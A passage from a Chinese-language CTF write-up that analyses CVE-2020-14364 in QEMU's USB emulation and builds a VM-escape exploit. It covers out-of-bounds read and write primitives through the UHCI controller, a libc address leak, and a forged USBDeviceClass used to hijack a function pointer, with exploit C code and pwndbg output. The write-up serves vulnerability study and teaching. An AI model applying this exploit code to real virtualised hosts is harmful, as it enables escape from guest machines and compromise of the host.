} else if (p->status == USB_RET_ADD_TO_QUEUE) {
usb_queue_one(p);
} else {
/*
* When pipelining is enabled usb-devices must always return async,
* otherwise packets can complete out of order!
*/
assert(p->stream || !p->ep->pipeline ||
QTAILQ_EMPTY(&p->ep->queue));
if (p->status != USB_RET_NAK) {
usb_pcap_data(p, false);
usb_packet_set_state(p, USB_PACKET_COMPLETE);
}
}
} else {
usb_queue_one(p);
}
}

其主要调用了usb_process_one

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
static void usb_process_one(USBPacket *p)
{
USBDevice *dev = p->ep->dev;
bool nak;

/*
* Handlers expect status to be initialized to USB_RET_SUCCESS, but it
* can be USB_RET_NAK here from a previous usb_process_one() call,
* or USB_RET_ASYNC from going through usb_queue_one().
*/
nak = (p->status == USB_RET_NAK);
p->status = USB_RET_SUCCESS;

if (p->ep->nr == 0) {
/* control pipe */
if (p->parameter) {
do_parameter(dev, p);
return;
}
switch (p->pid) {
case USB_TOKEN_SETUP:
do_token_setup(dev, p);
break;
case USB_TOKEN_IN:
do_token_in(dev, p);
break;
case USB_TOKEN_OUT:
do_token_out(dev, p);
break;
default:
p->status = USB_RET_STALL;
}
} else {
/* data pipe */
if (!nak) {
usb_pcap_data(p, true);
}
usb_device_handle_data(dev, p);
}
}

其中注意到do_token_setup函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
static void do_token_setup(USBDevice *s, USBPacket *p)
{
int request, value, index;

if (p->iov.size != 8) {
p->status = USB_RET_STALL;
return;
}

usb_packet_copy(p, s->setup_buf, p->iov.size);
s->setup_index = 0;
p->actual_length = 0;
s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6];
if (s->setup_len > sizeof(s->data_buf)) {
fprintf(stderr,
"usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n",
s->setup_len, sizeof(s->data_buf));
p->status = USB_RET_STALL;
return;
}
..............

在检查出s->setup_len > sizeof(s->data_buf)时,虽然报错并且返回,当并没有将s->setup_len的值给清除,只要不对USB端口进行重置,这个值将一直保留,那么,这个s->setup_len我们是可以控制为任意大小的。
那么在do_token_in函数进行数据读取时,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
static void do_token_in(USBDevice *s, USBPacket *p)
{
int request, value, index;

assert(p->ep->nr == 0);

request = (s->setup_buf[0] << 8) | s->setup_buf[1];
value = (s->setup_buf[3] << 8) | s->setup_buf[2];
index = (s->setup_buf[5] << 8) | s->setup_buf[4];

switch(s->setup_state) {
case SETUP_STATE_ACK:
if (!(s->setup_buf[0] & USB_DIR_IN)) {
usb_device_handle_control(s, p, request, value, index,
s->setup_len, s->data_buf);
if (p->status == USB_RET_ASYNC) {
return;
}
s->setup_state = SETUP_STATE_IDLE;
p->actual_length = 0;
}
break;

case SETUP_STATE_DATA:
if (s->setup_buf[0] & USB_DIR_IN) {
int len = s->setup_len - s->setup_index;
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len);
s->setup_index += len;
if (s->setup_index >= s->setup_len) {
s->setup_state = SETUP_STATE_ACK;
}
return;
}
s->setup_state = SETUP_STATE_IDLE;
p->status = USB_RET_STALL;
break;

default:
p->status = USB_RET_STALL;
}
}

其中看到

1
2
3
4
s->setup_index += len;
if (s->setup_index >= s->setup_len) {
s->setup_state = SETUP_STATE_ACK;
}

每一次s->setup_index累加上len,然后判断s->setup_index是否超过s->setup_len,由于s->setup_len可以被我们控制,因此s->setup_index也可以被我们控制。那么usb_packet_copy(p, s->data_buf + s->setup_index, len);便可以进行越界读取,同理在do_token_out函数中进行写数据时,可以越界写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
static void do_token_out(USBDevice *s, USBPacket *p)
{
assert(p->ep->nr == 0);

switch(s->setup_state) {
case SETUP_STATE_ACK:
if (s->setup_buf[0] & USB_DIR_IN) {
s->setup_state = SETUP_STATE_IDLE;
/* transfer OK */
} else {
/* ignore additional output */
}
break;

case SETUP_STATE_DATA:
if (!(s->setup_buf[0] & USB_DIR_IN)) {
int len = s->setup_len - s->setup_index;
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len);
s->setup_index += len;
if (s->setup_index >= s->setup_len) {
s->setup_state = SETUP_STATE_ACK;
}
return;
}
s->setup_state = SETUP_STATE_IDLE;
p->status = USB_RET_STALL;
break;
..........................

这就是CVE-2020-14364
其中len是有范围的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
static int uhci_handle_td(UHCIState *s, UHCIQueue *q, uint32_t qh_addr,
UHCI_TD *td, uint32_t td_addr, uint32_t *int_mask)
{
..............
max_len = ((td->token >> 21) + 1) & 0x7ff;
spd = (pid == USB_TOKEN_IN && (td->ctrl & TD_CTRL_SPD) != 0);
usb_packet_setup(&async->packet, pid, q->ep, 0, td_addr, spd,
(td->ctrl & TD_CTRL_IOC) != 0);
if (max_len <= sizeof(async->static_buf)) {
async->buf = async->static_buf;
} else {
async->buf = g_malloc(max_len);
}
usb_packet_addbuf(&async->packet, async->buf, max_len);

switch(pid) {
case USB_TOKEN_OUT:
case USB_TOKEN_SETUP:
pci_dma_read(&s->dev, td->buffer, async->buf, max_len);
usb_handle_packet(q->ep->dev, &async->packet);
if (async->packet.status == USB_RET_SUCCESS) {
async->packet.actual_length = max_len;
}
.............

即UHCI协议一次性最多传输0x7ff个字节。
思考如何利用这个漏洞,查看USBDevice结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
/* definition of a USB device */
struct USBDevice {
DeviceState qdev;
USBPort *port;
char *port_path;
char *serial;
void *opaque;
uint32_t flags;

/* Actual connected speed */
int speed;
/* Supported speeds, not in info because it may be variable (hostdevs) */
int speedmask;
uint8_t addr;
char product_desc[32];
int auto_attach;
bool attached;

int32_t state;
uint8_t setup_buf[8];
uint8_t data_buf[4096];
int32_t remote_wakeup;
int32_t setup_state;
int32_t setup_len;
int32_t setup_index;

USBEndpoint ep_ctl;
USBEndpoint ep_in[USB_MAX_ENDPOINTS];
USBEndpoint ep_out[USB_MAX_ENDPOINTS];

QLIST_HEAD(, USBDescString) strings;
const USBDesc *usb_desc; /* Overrides class usb_desc if not NULL */
const USBDescDevice *device;

int configuration;
int ninterfaces;
int altsetting[USB_MAX_INTERFACES];
const USBDescConfig *config;
const USBDescIface *ifaces[USB_MAX_INTERFACES];
};

位于data_buf后方的变量有setup_lensetup_index,那么我们越界覆盖这两个变量,便可以构造任意地址写,首先进行初始化

1
2
3
4
5
6
7
8
9
10
11
void init_state() {
//初始化时,使用正常的长度
setup_buf[6] = 0xff;
setup_buf[7] = 0x0;
td->link = get_phys_addr(td);
td->ctrl = TD_CTRL_ACTIVE | TD_CTRL_SPD;
td->token = USB_TOKEN_SETUP | 0x7 << 21;
td->buffer = get_phys_addr(setup_buf);
puts("set_UHCIState");
set_UHCIState();
}

初始化的目的是当进入do_token_setup函数时

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
static void do_token_setup(USBDevice *s, USBPacket *p)
{
int request, value, index;

if (p->iov.size != 8) {
p->status = USB_RET_STALL;
return;
}

usb_packet_copy(p, s->setup_buf, p->iov.size);
s->setup_index = 0;
p->actual_length = 0;
s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6];
if (s->setup_len > sizeof(s->data_buf)) {
fprintf(stderr,
"usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n",
s->setup_len, sizeof(s->data_buf));
p->status = USB_RET_STALL;
return;
}
..............................
if (s->setup_len == 0)
s->setup_state = SETUP_STATE_ACK;
else
s->setup_state = SETUP_STATE_DATA;
}

p->actual_length = 8;
}

能够执行到代码s->setup_state = SETUP_STATE_DATA;,为s->setup_state赋值,因为这个s->setup_state将会在do_token_indo_token_out中作为switch的条件,s->setup_state必须为SETUP_STATE_DATA才可以进行数据的读写。

1
2
3
4
5
6
7
8
9
10
11
12
static void do_token_in(USBDevice *s, USBPacket *p)
{
..............................
switch(s->setup_state) {
case SETUP_STATE_ACK:
................................
break;

case SETUP_STATE_DATA:
................................. //vuln
}
}

初始化完成以后,就可以利用漏洞将s->setup_len设置为任意值进行后续的越界。下面,我们写出set_lengthdo_copy_readdo_copy_write三个函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void set_length(uint16_t len, uint8_t option){
setup_buf[0] = USB_TOKEN_IN | option;
//set the length
setup_buf[6] = len & 0xff;
setup_buf[7] = (len >> 8 ) & 0xff;
td->ctrl = TD_CTRL_ACTIVE | TD_CTRL_SPD;
td->token = USB_TOKEN_SETUP | 0x7 << 21;
td->buffer = get_phys_addr(setup_buf);
set_UHCIState();
}

//do_token_in读取数据
void do_copy_read(uint16_t len){
//设置token进入do_token_in
td->ctrl = TD_CTRL_ACTIVE | TD_CTRL_SPD;
td->token = USB_TOKEN_IN | (len-1) << 21; //设置p->iov.size
td->buffer = get_phys_addr(data_buf);
set_UHCIState();
}

//do_token_out写入数据
void do_copy_write(int offset, unsigned int setup_len, unsigned int setup_index, uint16_t len){
td->ctrl = TD_CTRL_ACTIVE | TD_CTRL_SPD;
td->token = USB_TOKEN_OUT | (len-1) << 21;
td->buffer = get_phys_addr(data_buf);
set_UHCIState();
}

现在来完成我们的任意地址写,首先需要设置length,然后多次调用do_copy_write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static void do_token_out(USBDevice *s, USBPacket *p)
{
........................
case SETUP_STATE_DATA:
if (!(s->setup_buf[0] & USB_DIR_IN)) {
int len = s->setup_len - s->setup_index;
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len);
s->setup_index += len;
if (s->setup_index >= s->setup_len) {
s->setup_state = SETUP_STATE_ACK;
}
........................
}

如上是do_token_out的代码,由于s->setup_len被我们设置为任意大小,因此if (s->setup_index >= s->setup_len)条件可以被我们控制,这样s->setup_state就不会被设置为SETUP_STATE_ACK,那么我们就可以一直进行do_token_out写数据,每次写,s->setup_index += len,即s->setup_index经过多次写后,可以累加到超过s->data_buf的长度,那么当进行usb_packet_copy(p, s->data_buf + s->setup_index, len)时,就发生了越界写。
USBDevice的结构体来看

1
2
3
4
5
6
7
8
9
struct USBDevice {
.......................
uint8_t setup_buf[8];
uint8_t data_buf[4096];
int32_t remote_wakeup;
int32_t setup_state;
int32_t setup_len;
int32_t setup_index;
.......................

我们可以向后越界写,覆盖setup_lensetup_index,那么我们可以实现任意地址写,设置setup_index为任意地址到data_buf地址的偏移,设置setup_len为要写的数据长度。
从上分析,为了实现任意地址写,首先需要知道data_buf的地址。
与上同理,可以通过多次do_token_in函数调用,让setup_index越界后,泄露出data_buf后方的数据。

1
2
3
4
5
6
7
8
9
10
11
12
struct USBDevice {
.............
int32_t state;
uint8_t setup_buf[8];
uint8_t data_buf[4096];
int32_t remote_wakeup;
int32_t setup_state;
int32_t setup_len;
int32_t setup_index;

USBEndpoint ep_ctl;
.............

注意到data_buf后方有一个USBEndpoint结构体,改结构体定义如下

1
2
3
4
5
6
7
8
9
10
11
12
struct USBEndpoint {
uint8_t nr;
uint8_t pid;
uint8_t type;
uint8_t ifnum;
int max_packet_size;
int max_streams;
bool pipeline;
bool halted;
USBDevice *dev;
QTAILQ_HEAD(, USBPacket) queue;
};

里面有一个USBDevice *dev;指向当前USBDevice自身,那么我们泄露出USBDevice的地址,再加上data_bufUSBDevice中的偏移,即可知道data_buf的地址。泄露的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int main() {
init();
//申请IO权限
iopl(3);
init_state();
set_length(0x5000,USB_DIR_IN);
for(int i = 0; i < 4; i++)
do_copy_read(0x400); //set index 0x1000
do_copy_read(0x400); //read 0x400 to dmabuf

struct USBDevice* usb_device_tmp = (struct USBDevice *)(data_buf + 0x4);
struct USBDevice usb_device;
memcpy(&usb_device,usb_device_tmp,sizeof(USBDevice));

uint64_t dev_addr = (uint64_t)(usb_device.ep_ctl.dev);
data_buf_addr = dev_addr + 0xdc - 0x8;
//data_buf_addr = dev_addr + 0xdc;

printf("USBDevice dev_addr: 0x%lx\n", dev_addr);
printf("USBDevice->data_buf: 0x%lx\n", data_buf_addr);
}

有了data_buf的地址,接下来我们构造任意地址写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
//任意写
void arb_write_seq(uint64_t target_addr, uint64_t *payload,uint64_t len)
{
//初始化setup_state
set_length(0x500, USB_DIR_OUT);
unsigned long offset = target_addr - data_buf_addr;
//设置越界长度
set_length(0x1010, USB_DIR_OUT);
puts("set index");
getchar();
//将setup_index设置为0x1000
do_copy_write(0, 0, 0, 0x400);
do_copy_write(0, 0, 0, 0x400);
do_copy_write(0, 0, 0, 0x400);
do_copy_write(0, 0, 0, 0x400);
//覆盖setup_state、setup_len、setup_index
do_copy_write(0, offset+len, offset-0x10, 0x11);


memcpy(data_buf,payload,len);
puts("wait");
getchar();
do_copy_write(0, 0xffff, 0,len);
}


int main() {
init();
//申请IO权限
iopl(3);
init_state();
set_length(0x5000,USB_DIR_IN);
for(int i = 0; i < 4; i++)
do_copy_read(0x400); //set index 0x1000
do_copy_read(0x400); //read 0x400 to dmabuf

struct USBDevice* usb_device_tmp = (struct USBDevice *)(data_buf + 0x4);
struct USBDevice usb_device;
memcpy(&usb_device,usb_device_tmp,sizeof(USBDevice));

uint64_t dev_addr = (uint64_t)(usb_device.ep_ctl.dev);
data_buf_addr = dev_addr + 0xdc - 0x8;
//data_buf_addr = dev_addr + 0xdc;

printf("USBDevice dev_addr: 0x%lx\n", dev_addr);
printf("USBDevice->data_buf: 0x%lx\n", data_buf_addr);
uint64_t payload[0x100];
payload[0] = 0x6161616161616161;
arb_write_seq(0x4141414141414141,payload,0x8);

}

调试如下,经过前4次的do_copy_write(0, 0, 0, 0x400)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
In file: /home/sea/Desktop/qemu/hw/usb/core.c
241 if (len > p->iov.size) {
242 len = p->iov.size;
243 }
244 usb_packet_copy(p, s->data_buf + s->setup_index, len);
245 s->setup_index += len;
► 246 if (s->setup_index >= s->setup_len) {
247 s->setup_state = SETUP_STATE_ACK;
248 }
249 return;
250 }
251 s->setup_state = SETUP_STATE_IDLE;
──────────────────────────────────────────────────────────────────────────────────────────[
pwndbg> p/x s->setup_index
$167 = 0x1000
pwndbg> p/x s->setup_len
$168 = 0x1010

那么接下来的do_copy_write(0, offset+len, offset-0x10, 0x11);如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
In file: /home/sea/Desktop/qemu/hw/usb/core.c
239 if (!(s->setup_buf[0] & USB_DIR_IN)) {
240 int len = s->setup_len - s->setup_index;
241 if (len > p->iov.size) {
242 len = p->iov.size;
243 }
► 244 usb_packet_copy(p, s->data_buf + s->setup_index, len);
245 s->setup_index += len;
246 if (s->setup_index >= s->setup_len) {
247 s->setup_state = SETUP_STATE_ACK;
248 }
249 return;
pwndbg> p/x s->setup_index
$169 = 0x1000
pwndbg> p/x len
$170 = 0x10

经过copy以后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
In file: /home/sea/Desktop/qemu/hw/usb/core.c
241 if (len > p->iov.size) {
242 len = p->iov.size;
243 }
244 usb_packet_copy(p, s->data_buf + s->setup_index, len);
245 s->setup_index += len;
► 246 if (s->setup_index >= s->setup_len) {
247 s->setup_state = SETUP_STATE_ACK;
248 }
249 return;
250 }
251 s->setup_state = SETUP_STATE_IDLE;
pwndbg> p/x s->setup_index
$172 = 0xaf362b0d

那么当do_copy_write(0, 0xffff, 0,len)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
In file: /home/sea/Desktop/qemu/hw/usb/core.c
239 if (!(s->setup_buf[0] & USB_DIR_IN)) {
240 int len = s->setup_len - s->setup_index;
241 if (len > p->iov.size) {
242 len = p->iov.size;
243 }
► 244 usb_packet_copy(p, s->data_buf + s->setup_index, len);
245 s->setup_index += len;
246 if (s->setup_index >= s->setup_len) {
247 s->setup_state = SETUP_STATE_ACK;
248 }
249 return;
pwndbg> p/x s->data_buf + s->setup_index
$173 = 0x55c941414141

可以发现,已经可以控制s->data_buf + s->setup_index为任意地址,当这有个限制是,s->setup_index是一个int型数据,因此只能在离s->data_buf距离int范围内进行任意写。

0x05 黑盒虚拟机逃逸

分析

在RealWord 2022国际赛上,我们拿到了black_box的二血,这题没有给题目附件,仅有一个远程nc环境,且提示本题是CVE-2020-14364
首先通过lscpi

1
2
3
4
5
6
7
8
/ # lspci -k
00:01.2 Class 0c03: 8086:7020 uhci_hcd
00:01.0 Class 0601: 8086:7000
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010 ata_piix
00:02.0 Class 0300: 1234:1111

发现远程使用的是uhci的USB控制器,之前在网上的相关exp使用的是ehci控制器,通过mmio去进行设备的交互。而本题的难点一个就是它使用UHCI控制器,该设备我们前面已经介绍了。前面我们已经实现了任意地址写,那么想要劫持程序流程,还需要知道一些地址。

在黑盒下,我们不考虑使用程序本身的函数地址,因为我们没有附件,我们可以考虑使用glibc的地址。

首先是因为USBDevice这个结构体本身就是在堆中,通过malloc申请的,那么我们利用其越界读,将堆中所有的数据全部打印出来,由于程序的复杂性,堆里必定会有unsorted bin,那么其fdbk泄漏后,我们就可以知道其使用的glibc版本。这是因为大多数情况下,glibc每一个版本其相关的函数、变量、符号地址会不一样,并且由于PIE的特性,函数、变量、符号的地址后12bit是不变的。泄露堆中的地址以后,我们查看其数据,经过多年的CTF经验,确定了远程glibc版本为2.32或者2.33,这两个版本的unsorted binfdbk一样,后12bit都是0xc00,那么我们可以最后把这两个版本中的gadgets都尝试一遍。

地址泄露

泄露地址的方法如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
uint64_t *tmp = (uint64_t *)(data_buf + 0x4);
uint64_t libc_base = -1;
uint64_t main_arena_xx_addr;
//搜索main_arena指针
for (int j=0;j<100;j++) {
for (int i=0;i<0x400/0x8;i++) {
main_arena_xx_addr = tmp[i];
if ((main_arena_xx_addr >> 40) == 0x7f && ((main_arena_xx_addr & 0xfff) == 0xc00)) {
//printf("heap size=0x%lx fd=0x%lx\n",tmp[i-1],main_arena_xx_addr);
libc_base = main_arena_xx_addr - 0x1e0c00;
goto outer;
}
}
//write(1,data_buf,0x400);
do_copy_read(0x400);
}

outer:
if(libc_base == -1){
printf("Error,DO IT AGAIN\n");
return 0;
}

uint64_t system_addr = libc_base + 0x4fa60;
printf("leak libc_base address : 0x%lx!\n", libc_base);
printf("leak system_addr address: 0x%lx!\n", system_addr);

劫持USBDeviceClass对象

虽然构造了任意地址写,但是却无法构造出任意地址读,主要是因为UHCI一次最多允许传输0x7ff大小读数据

1
2
3
4
5
6
7
8
9
struct USBDevice {
..................
uint8_t setup_buf[8];
uint8_t data_buf[4096];
int32_t remote_wakeup;
int32_t setup_state;
int32_t setup_len;
int32_t setup_index;
.................

而想要实现任意地址读,我们需要同时控制setup_buf和后面的setup_statesetup_lensetup_index,他们,由于setup_buf与后面三个多跨度超过了0x7ff,因此无法一次性进行控制,无法将当前的写数据模式转变为读数据模式。

由于已经有了glibc的一些地址,已经足够我们使用。稳定的劫持程序流程的方法是伪造USBDevice结构体中的第一个成员,即USBDeviceClass *,因为通过泄露远程环境中的内存数据,发现远程内存中数据复杂,不适合进行劫持。这个方法是如何找到的?首先我们利用gdb调试任意一个qemu-system-x86_64,并在do_token_in下断点,然后执行测试程序,让qemu运行到断点的地方,此时将USBDevice结构体中的第一个成员修改为0。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
In file: /home/sea/Desktop/qemu/hw/usb/core.c
208 usb_packet_copy(p, s->data_buf + s->setup_index, len);
209 s->setup_index += len;
210 if (s->setup_index >= s->setup_len) {
211 s->setup_state = SETUP_STATE_ACK;
212 }
► 213 return;
214 }
215 s->setup_state = SETUP_STATE_IDLE;
216 p->status = USB_RET_STALL;
217 break;
218
pwndbg> p s
$174 = (USBDevice *) 0x55dcfe269560
pwndbg> tel 0x55dcfe269560
00:0000│ 0x55dcfe269560 —▸ 0x55dcfd108800 —▸ 0x55dcfd0bc950 —▸ 0x55dcfd0bcad0 ◂— 'usb-storage'
01:0008│ 0x55dcfe269568 —▸ 0x7f20cb21e770 (g_free) ◂— endbr64
02:0010│ 0x55dcfe269570 —▸ 0x55dcfe233580 ◂— 0x20 /* ' ' */
03:0018│ 0x55dcfe269578 ◂— 0x2
04:0020│ 0x55dcfe269580 —▸ 0x55dcfd1379e0 —▸ 0x55dcfd0ea070 —▸ 0x55dcfd0c2ad0 —▸ 0x55dcfd0c2c50 ◂— ...
05:0028│ 0x55dcfe269588 ◂— 0x0
06:0030│ 0x55dcfe269590 ◂— 0x1
07:0038│ 0x55dcfe269598 —▸ 0x55dcfd0c8ad0 ◂— 0x0
pwndbg> eq 0x55dcfe269560 0

然后继续运行,qemu必定会崩溃,gdb会捕捉到崩溃发生的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> c
Continuing.

Thread 1 "qemu-system-x86" received signal SIGSEGV, Segmentation fault.
0x000055dcfbc82fe8 in usb_device_ep_stopped (dev=0x55dcfe269560, ep=0x55dcfe26a648) at hw/usb/bus.c:223
.........................
──────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────────────────────────────────────────────────
In file: /home/sea/Desktop/qemu/hw/usb/bus.c
218 }
219
220 void usb_device_ep_stopped(USBDevice *dev, USBEndpoint *ep)
221 {
222 USBDeviceClass *klass = USB_DEVICE_GET_CLASS(dev);
► 223 if (klass->ep_stopped) {
224 klass->ep_stopped(dev, ep);
225 }
226 }

从这就可以知道,当do_token_in或者do_token_out操作完成以后,最先要用到USBDeviceClass *指针的地方是这里,并且可以看到后面还有一个函数指针调用。那么伪造一个USBDeviceClass *是绝佳的选择。该结构体中,我们需要伪造的数据主要有以下

1
2
3
4
5
6
7
8
9
10
11
typedef struct USBDeviceClass {
DeviceClass parent_class;
.....................
/*
* Called by the hcd to let the device know the queue for an endpoint
* has been unlinked / stopped. Optional may be NULL.
*/
void (*ep_stopped)(USBDevice *dev, USBEndpoint *ep);

.....................
} USBDeviceClass;

ep_stopped指向gadgets,进而可以做栈迁移。首先,我们将USBDeviceClass *修改为一个任意的可读写的堆地址

1
2
3
uint64_t payload[0x400/0x8];
payload[0x0] = dev_addr + 0x10;
arb_write_seq(dev_addr,payload,0x400);

然后在运行qemu,并执行程序,用gdb调试捕捉崩溃

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
In file: /home/sea/Desktop/qemu/hw/usb/core.c
546 void usb_packet_set_state(USBPacket *p, USBPacketState state)
547 {
548 if (p->ep) {
549 USBDevice *dev = p->ep->dev;
550 USBBus *bus = usb_bus_from_device(dev);
► 551 trace_usb_packet_state_change(bus->busnr, dev->port->path, p->ep->nr, p,
552 usb_packet_state_name(p->state),
553 usb_packet_state_name(state));
554 } else {
....................
pwndbg> p bus
$9 = (USBBus *) 0x0
pwndbg> p *dev
$8 = {
qdev = {
parent_obj = {
class = 0x5584542726c8,
free = 0x0,
properties = 0x0,
ref = 0,
parent = 0x0
},
id = 0x0,
realized = false,
pending_deleted_event = false,
opts = 0x0,
hotplugged = 0,
parent_bus = 0x0,
.................

其中usb_bus_from_device代码如下

1
2
3
4
static inline USBBus *usb_bus_from_device(USBDevice *d)
{
return DO_UPCAST(USBBus, qbus, d->qdev.parent_bus);
}

崩溃原因是dev->qdev->parent_bus指针被我们覆盖了,同时dev->port也被我们覆盖了,因此也需要重新伪造上去

1
2
3
4
5
6
uint64_t payload[0x400/0x8];
payload[0x0] = dev_addr + 0x10;
//fake a USBDeviceClass at dev_addr + 0x10
payload[0x9] = dev_addr + 0x8; //bus
payload[0xe] = dev_addr + 0x8; //port
arb_write_seq(dev_addr,payload,0x400);

这次运行,崩溃在这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
In file: /home/sea/Desktop/qemu/qom/object.c
700 const char *file, int line,
701 const char *func)
702 {
703 ObjectClass *ret;
704
► 705 trace_object_class_dynamic_cast_assert(class ? class->type->name : "(null)",
706 typename, file, line, func);
707
708 #ifdef CONFIG_QOM_CAST_DEBUG
709 int i;
710
pwndbg> p class
$20 = (ObjectClass *) 0x55bb52c756d0
pwndbg> p class->type
$21 = (Type) 0x0

class->type也应该伪造为一个可读的地址

1
2
3
4
5
6
7
uint64_t payload[0x400/0x8];
payload[0x0] = dev_addr + 0x10;
//fake a USBDeviceClass at dev_addr + 0x10
payload[0x2] = dev_addr + 0x8; //type
payload[0x9] = dev_addr + 0x8; //bus
payload[0xe] = dev_addr + 0x8; //port
arb_write_seq(dev_addr,payload,0x400);

这一次,程序没有崩溃,而是抛出了异常

1
2
3
4
5
6
7
8
hw/usb/bus.c:222:usb_device_ep_stopped: Object 0x55d6988446d0 is not an instance of type usb-device
pwndbg> k
#0 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:49
#1 0x00007f5c775cf864 in __GI_abort () at abort.c:79
#2 0x000055d6961aeffb in object_class_dynamic_cast_assert (class=0x55d6988446d0, typename=0x55d69639e358 "usb-device", file=0x55d69639e2cf "hw/usb/bus.c", line=222, func=0x55d69639e890 <__func__.23> "usb_device_ep_stopped") at qom/object.c:727
#3 0x000055d6960f1480 in usb_device_ep_stopped (dev=0x55d6988446c0, ep=0x55d6988457a8) at hw/usb/bus.c:222
.....................
pwndbg>

并且从中可以看到,usb_device_ep_stopped是已经执行到了,发生异常是因为object_class_dynamic_cast_assert校验我们伪造的USBDeviceClass *没有通过。同时,我们也得到一个很重要的信息hw/usb/bus.c:222,在远程机器上,我们知道这个异常发生在bus.c文件的222行,那么意味着我们已经可以将远程qemu的版本缩小到一个范围。
其中object_class_dynamic_cast_assert源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
ObjectClass *object_class_dynamic_cast_assert(ObjectClass *class,
const char *typename,
const char *file, int line,
const char *func)
{
ObjectClass *ret;

trace_object_class_dynamic_cast_assert(class ? class->type->name : "(null)",
typename, file, line, func);

#ifdef CONFIG_QOM_CAST_DEBUG
int i;

for (i = 0; class && i < OBJECT_CLASS_CAST_CACHE; i++) {
if (atomic_read(&class->class_cast_cache[i]) == typename) {
ret = class;
goto out;
}
}
#else
if (!class || !class->interfaces) {
return class;
}
#endif

ret = object_class_dynamic_cast(class, typename);
if (!ret && class) {
fprintf(stderr, "%s:%d:%s: Object %p is not an instance of type %s\n",
file, line, func, class, typename);
abort();
}
...................

可以看到如果在class->class_cast_cache[i]中存在typename指针,则可以通过娇艳,经过调试,发现typenameqemu-systen-x86_64中的地址,显然我们不能用,因为我们没有远程的附件。于是继续向下看object_class_dynamic_cast函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
ObjectClass *object_class_dynamic_cast(ObjectClass *class,
const char *typename)
{
ObjectClass *ret = NULL;
TypeImpl *target_type;
TypeImpl *type;

if (!class) {
return NULL;
}

/* A simple fast path that can trigger a lot for leaf classes. */
type = class->type;
if (type->name == typename) {
return class;
}

target_type = type_get_by_name(typename);
if (!target_type) {
/* target class type unknown, so fail the cast */
return NULL;
}

if (type->class->interfaces &&
type_is_ancestor(target_type, type_interface)) {
int found = 0;
GSList *i;

for (i = class->interfaces; i; i = i->next) {
ObjectClass *target_class = i->data;

if (type_is_ancestor(target_class->type, target_type)) {
ret = target_class;
found++;
}
}

/* The match was ambiguous, don't allow a cast */
if (found > 1) {
ret = NULL;
}
} else if (type_is_ancestor(type, target_type)) {
ret = class;
}

return ret;
}

这里,我们伪造type->class->interfaces为0,于是进入分支else if (type_is_ancestor(type, target_type)),只要type_is_ancestor为真就可以通过校验
其中type_is_ancestor代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
static bool type_is_ancestor(TypeImpl *type, TypeImpl *target_type)
{
assert(target_type);

/* Check if target_type is a direct ancestor of type */
while (type) {
if (type == target_type) {
return true;
}

type = type_get_parent(type);
}

return false;
}

static TypeImpl *type_get_parent(TypeImpl *type)
{
if (!type->parent_type && type->parent) {
type->parent_type = type_get_by_name(type->parent);
g_assert(type->parent_type != NULL);
}

return type->parent_type;
}

static TypeImpl *type_get_parent(TypeImpl *type)
{
if (!type->parent_type && type->parent) {
type->parent_type = type_get_by_name(type->parent);
g_assert(type->parent_type != NULL);
}

return type->parent_type;
}

static TypeImpl *type_get_by_name(const char *name)
{
if (name == NULL) {
return NULL;
}

return type_table_lookup(name);
}

